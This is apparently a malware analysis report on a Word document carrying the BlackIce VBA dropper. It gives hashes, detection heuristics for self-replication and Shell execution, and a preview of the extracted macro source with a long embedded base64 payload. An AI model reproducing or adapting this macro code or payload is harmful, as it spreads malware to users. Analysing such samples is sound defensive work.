Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bdcb828630e11ada…

MALICIOUS

Office (OLE)

137.0 KB Created: 2014-12-11 03:15:00 Authoring application: Microsoft Office Word First seen: 2015-10-13
MD5: e4ceb4e5b0f7afddd048d2792ddf1f1d SHA-1: ac7f3a03a293473e4722fa65abeb1a9b1f8cd07d SHA-256: bdcb828630e11ada2f88ee9d56ad1db8f1ccfc238612cef469fe87cb7e2bd28b
310 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.BlackIce-6527616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.BlackIce-6527616-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell strTempFileName
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    ret = dcodemodule.insertlines(1, "end sub")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    ret = dcodemodule.insertlines(1, "private sub document_open()")
  • Heap-spray pattern detected high SC_HEAP_SPRAY
    Repeated 0x41 (A) bytes found
    Disassembly hidden — these bytes score as degenerate, not coherent x86 code (single mnemonic 'inc' is 100% of instructions — a sled or padding/filler run, not program logic).
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 75802 bytes
SHA-256: 38f6d6afff4db6e2d7dd7b503f97d501c9727dcd09bb9708f4f9ffd6b9505775
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: likely
Carved artifact contains 113 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'<!!blackice>
Private Const base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function GetTempFileName Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpPathName As String, ByVal lpPrefixString As String, ByVal uUnique As Long, ByVal lpTempFileName As String) As Long
Private Sub runblackice()
On Error Resume Next
filestring = "0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAAEAAA/v///wAAAAD+////AAAAAAAAAAD/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////"
filestring = filestring + "///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9////IAAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAkAAAAKAAAACwAAAP7///8NAAAADgAAAA8AAAAQAAAAEQAAABIAAAATAAAAFAAAABUAAAD+////FwAAABgAAAAZAAAAGgAAABsAAAAcAAAAHQAAAB4AAAAfAAAA/v///0kAAAAiAAAAIwAAACQAAAAlAAAAJgAAACcAAAAoAAAAKQAAACoAAAD+////LAAAAC0AAAAuAAAALwAAADAAAAAxAAAAMgAAADMAAAA0AAAA/v///zYAAAA3AAAAOAAAADkAAAA6AAAAOwAAADwAAAA9AAAAPgAAAP7///9AAAAA"
filestring = filestring + "QQAAAEIAAABDAAAARAAAAEUAAABGAAAARwAAAEgAAAD+/////v///0sAAABMAAAATQAAAE4AAABPAAAAUAAAAFEAAABSAAAAUwAAAP7//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAUA//////////8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEALdz8O8skB/v///wAAAAAAAAAA"
filestring = filestring + "VwBvAHIAawBzAHAAYQBjAGUAIABTAHQAYQB0AGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAgECAAAABAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAABQAAAAAAABCAHIAbwB3AHMAZQByAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAACAAMAAAAHAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAFAAAAAAAAEUAZABpAHQAbwByAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAIB////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFgAAAAAUAAAAAAAA"
filestring = filestring + "AQAFAAEAAAAMYmxhY2tpY2UuZXhlIEM6XFdJTkRPV1Ncc3lzdGVtMzJcYmxhY2tpY2UuZXhlAQAAAAAAZAAAAMIBAAD6AAAAZAAAAGQAAAAAAAAAAAAAAP////9+AAAAMQQAAOIAAAACAAAA/v//f/////8yBAAAZAAAAAOABVdhdGNoNwMAAAUAAgAZAAIAAXJkAAAAZAAAAMIBAAD6AAAAZAAAAHYAAAAAAAAAAAAAAC0CAAAEAAAAMQQAAHoAAAACAAAA/f//fy0CAAAEAgAAdgAAAAOACVZhcmlhYmxlczcDAAAFAAIAGQACAAJyeAAAAHgAAADWAQAADgEAAGQAAAB2AAAAAAAAAAAAAAD/////BAAAACkCAAB6AAAAAgAAAP3//3//////KgIAAHYAAAADgAlSZWdpc3RlcnM2AAAABQAAABkAAwADcmQAAABkAAAAwgEAAPoAAABkAAAAZAAAAAAAAAADgAZNZW1vcnk2AAAABQAAABkAAwAE"
filestring = filestring + "cngAAAB4AAAA1gEAAA4BAABkAAAAZAAAAAAAAAADgApDYWxsIFN0YWNrNgAAAAUAAAAZAAMABXKMAAAAjAAAAOoBAAAiAQAAZAAAAGQAAAAAAAAAA4ALRGlzYXNzZW1ibHn3AAAABQAAABkAAwAHcqAAAACgAAAA/gEAADYBAABkAAAAZAAAAAAAAADQF+cALAAAAAIAAAADAAAA///////////8////6f///ywAAAAsAAAABAQAAOUAAAADgAi5pNf3v9W85DYJAAAFAAMABQABABBzZAAAAHgAAADCAQAA+gAAAMQAAABkAAAAAAAAAAMAAAD+//9//////0cBAADEAAAAA4AGssu1pcC4PwMAAAMAAQABAP//AHTNzc3Nzc3Nzc3Nzc3Nzc3NZAAAABoAAAAAAAAAAAAAAAAAAAD/////MgQAABkAAAABAAAA/v//fwAAAAAyBAAAGgAAAAOABLHq17wvAwAAAwABAAEA//8BdM3Nzc3Nzc3Nzc3N"
filestring = filestring + "zc3Nzc1kAAAAHgAAAAAAAAAAAAAA/////xkAAABfAgAANwAAAAEAAAABAACA/////2ACAAAeAAAAA4AE1+m9qCYBAAADAAAABAD//wJ0kwAAAIEAAAB5AgAAnwAAAGQAAAAeAAAAAAAAAAEAAAAEAACA/////+0BAAAeAAAAA4AGyKvGwcS7FgAAAAMAAAABAP//A3QGAAAAFQAAACEAAAAzAAAAZAAAAGQAAAAAAAAAA4AKseDS686i0M3M9S8DAAADAAEABAD//wF1/////00AAACNAAAAawAAAGQAAAAeAAAAAAAAAAAAAABYAgAANwAAAO0CAABVAAAAAQAAAAIAAIBYAgAAlQAAAB4AAAADgANBVEwuAAAAAwABAAcA//8Bdc3Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgATXytS0LgAAAAMAAAADAP//A3XNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AEttS7sB8AAAADAAIA"
filestring = filestring + "AwD//wR1zc3Nzc3Nzc3Nzc3Nzc3NzWQAAABkAAAAAAAAAAOABL/YvP4XAAAABAAAAAMA//8FdTACAACWAAAAeAIAAEUBAABkAAAAZAAAAAAAAAADgATNvNDOFQEAAAQABAADAP//BnUwAgAAZAAAAHoCAABKAQAAVgAAAGQAAAAAAAAABAAAAP7//3//////8wAAAFYAAAADgATR1cmrFwEAAAQABAADAP//B3UwAgAAVgEAAHcCAADLAQAAUwAAAGQAAAAAAAAABAAAAP7//3/EAAAAggAAAFMAAAADgAjOxLG+uaS+3xcEAAAEAAAAAwD//wh1kgEAAGQAAAAoAgAAyAAAAGQAAABkAAAAAAAAAAOABLHgvK0uAAAAAwAAAAIA////dc3Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgAS198rUNwAAAAMAAAAZAP//AHYGAAAAfwAAAOkAAAC3AAAAZAAAAGQAAAAAAAAAA4AE5K/AwD4AAAAD"
filestring = filestring + "AAAAAgD//wF2zc3Nzc3Nzc3Nzc3Nzc3NzWQAAABkAAAAAAAAAAOABVF1ZXJ5HwAAAAMAAAAdAP//AHfNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AQRGF0YWJhc2UgRGlhZ3JhbR8AAAADAAAAHQD//wF3zc3Nzc3Nzc3Nzc3Nzc3NzWQAAABkAAAAAAAAAAOABVRhYmxlHwAAAAMAAAAdAP//AnfNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AGyv2+3b/iPgAAAAMAAAAdAP//A3fNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AEVmlldx8AAAADAAAAHQD//wR3IEFUTCBBcHBXaXphcmQgdGQAAABkAAAAAAAAAAOADlNvdXJjZSBDb250cm9sHgAAAAMAAAAFAAEAEHfNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AGUmVjb3JkHwAAAAMAAAAYAP//YHfNzc3N"
filestring = filestring + "zc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AGz/K1vMz1MwMAAAMAAQAMAP//iHfaAAAAfgAAAOQBAACyAAAAZAAAAB4AAAAAAAAAAAAAAP////83AAAAWAIAAFUAAAABAAAAAgAAgP////9ZAgAAHgAAAAi76QD//wEACABDRG9ja1duZAEAGwAAgP3//38DAP///v//fwAAAAD//wAAAAAZAAEAAIAAAAAAAAAAAAAANwACAACAAAAAAAAAAAAAAFUA////fwAAAAAAAAAAAADYu+kAI4ACAAAAAID8//9/AgD///3//3//////AAAAAAAAeQD+//9///8AAAAAAAAAAOIA////fwAAAAAAAAAAAACQvOkAI4ADAAAAAID9//9/AAD//////38AAAAAAAAAAAAAGL3pACOABAAAAACA/f//fwAA//////9/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIcDAQIAEAABeAEDAEAP6gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEAAAAAAAAAAAEAAABjZS5leGUgQzpcV0lORE9XU1xzeXN0ZW0zMlxibGFja2ljZS5leGUBAAAAAABkAAAAwgEAAPoAAABkAAAAZAAAAAAAAAAAAAAA/////34AAAAxBAAA4gAAAAIAAAD+//9//////zIEAABkAAAAA4AFV2F0Y2g3AwAABQACABkAAgABcmQAAABkAAAAwgEAAPoAAABkAAAAdgAAAAAAAAAAAAAALQIAAAQAAAAxBAAAegAAAAIAAAD9//9/LQIAAAQCAAB2AAAAA4AJVmFyaWFibGVzNwMAAAUAAgAZAAIAAnJ4AAAAeAAAANYBAAAOAQAA"
filestring = filestring + "ZAAAAHYAAAAAAAAAAAAAAP////8EAAAAKQIAAHoAAAACAAAA/f//f/////8qAgAAdgAAAAOACVJlZ2lzdGVyczYAAAAFAAAAGQADAANyZAAAAGQAAADCAQAA+gAAAGQAAABkAAAAAAAAAAOABk1lbW9yeTYAAAAFAAAAGQADAARyeAAAAHgAAADWAQAADgEAAGQAAABkAAAAAAAAAAOACkNhbGwgU3RhY2s2AAAABQAAABkAAwAFcowAAACMAAAA6gEAACIBAABkAAAAZAAAAAAAAAADgAtEaXNhc3NlbWJsefcAAAAFAAAAGQADAAdyoAAAAKAAAAD+AQAANgEAAGQAAABkAAAAAAAAANAX5wAsAAAAAgAAAAMAAAD///////////z////p////LAAAACwAAAAEBAAA5QAAAAOACLmk1/e/1bzkNgkAAAUAAwAFAAEAEHNkAAAAeAAAAMIBAAD6AAAAxAAAAGQAAAAAAAAAAwAAAP7//3//////RwEA"
filestring = filestring + "AMQAAAADgAayy7WlwLg/AwAAAwABAAEA//8AdM3Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAGgAAAAAAAAAAAAAAAAAAAP////8yBAAAGQAAAAEAAAD+//9/AAAAADIEAAAaAAAAA4AEserXvC8DAAADAAEAAQD//wF0zc3Nzc3Nzc3Nzc3Nzc3NzWQAAAAeAAAAAAAAAAAAAAD/////GQAAAF8CAAA3AAAAAQAAAAEAAID/////YAIAAB4AAAADgATX6b2oJgEAAAMAAAAEAP//AnSTAAAAgQAAAHkCAACfAAAAZAAAAB4AAAAAAAAAAQAAAAQAAID/////7QEAAB4AAAADgAbIq8bBxLsWAAAAAwAAAAEA//8DdAYAAAAVAAAAIQAAADMAAABkAAAAZAAAAAAAAAADgAqx4NLrzqLQzcz1LwMAAAMAAQAEAP//AXX/////TQAAAI0AAABrAAAAZAAAAB4AAAAAAAAAAAAAAFgCAAA3AAAA7QIAAFUAAAABAAAA"
filestring = filestring + "AgAAgFgCAACVAAAAHgAAAAOAA0FUTC4AAAADAAEABwD//wF1zc3Nzc3Nzc3Nzc3Nzc3NzWQAAABkAAAAAAAAAAOABNfK1LQuAAAAAwAAAAMA//8Ddc3Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgAS21LuwHwAAAAMAAgADAP//BHXNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AEv9i8/hcAAAAEAAAAAwD//wV1MAIAAJYAAAB4AgAARQEAAGQAAABkAAAAAAAAAAOABM280M4VAQAABAAEAAMA//8GdTACAABkAAAAegIAAEoBAABWAAAAZAAAAAAAAAAEAAAA/v//f//////zAAAAVgAAAAOABNHVyasXAQAABAAEAAMA//8HdTACAABWAQAAdwIAAMsBAABTAAAAZAAAAAAAAAAEAAAA/v//f8QAAACCAAAAUwAAAAOACM7Esb65pL7fFwQAAAQAAAADAP//CHWSAQAAZAAAACgC"
filestring = filestring + "AADIAAAAZAAAAGQAAAAAAAAAA4AEseC8rS4AAAADAAAAAgD///91zc3Nzc3Nzc3Nzc3Nzc3NzWQAAABkAAAAAAAAAAOABLX3ytQ3AAAAAwAAABkA//8AdgYAAAB/AAAA6QAAALcAAABkAAAAZAAAAAAAAAADgATkr8DAPgAAAAMAAAACAP//AXbNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AFUXVlcnkfAAAAAwAAAB0A//8Ad83Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgBBEYXRhYmFzZSBEaWFncmFtHwAAAAMAAAAdAP//AXfNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AFVGFibGUfAAAAAwAAAB0A//8Cd83Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgAbK/b7dv+I+AAAAAwAAAB0A//8Dd83Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgARWaWV3"
filestring = filestring + "HwAAAAMAAAAdAP//BHcgQVRMIEFwcFdpemFyZCB0ZAAAAGQAAAAAAAAAA4AOU291cmNlIENvbnRyb2weAAAAAwAAAAUAAQAQd83Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgAZSZWNvcmQfAAAAAwAAABgA//9gd83Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgAbP8rW8zPUzAwAAAwABAAwA//+Id9oAAAB+AAAA5AEAALIAAABkAAAAHgAAAAAAAAAAAAAA/////zcAAABYAgAAVQAAAAEAAAACAACA/////1kCAAAeAAAACLvpAP//AQAIAENEb2NrV25kAQAbAACA/f//fwMA///+//9/AAAAAP//AAAAABkAAQAAgAAAAAAAAAAAAAA3AAIAAIAAAAAAAAAAAAAAVQD///9/AAAAAAAAAAAAANi76QAjgAIAAAAAgPz//38CAP///f//f/////8AAAAAAAB5AP7//3///wAAAAAA"
filestring = filestring + "AAAA4gD///9/AAAAAAAAAAAAAJC86QAjgAMAAAAAgP3//38AAP//////fwAAAAAAAAAAAAAYvekAI4AEAAAAAID9//9/AAD//////38AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
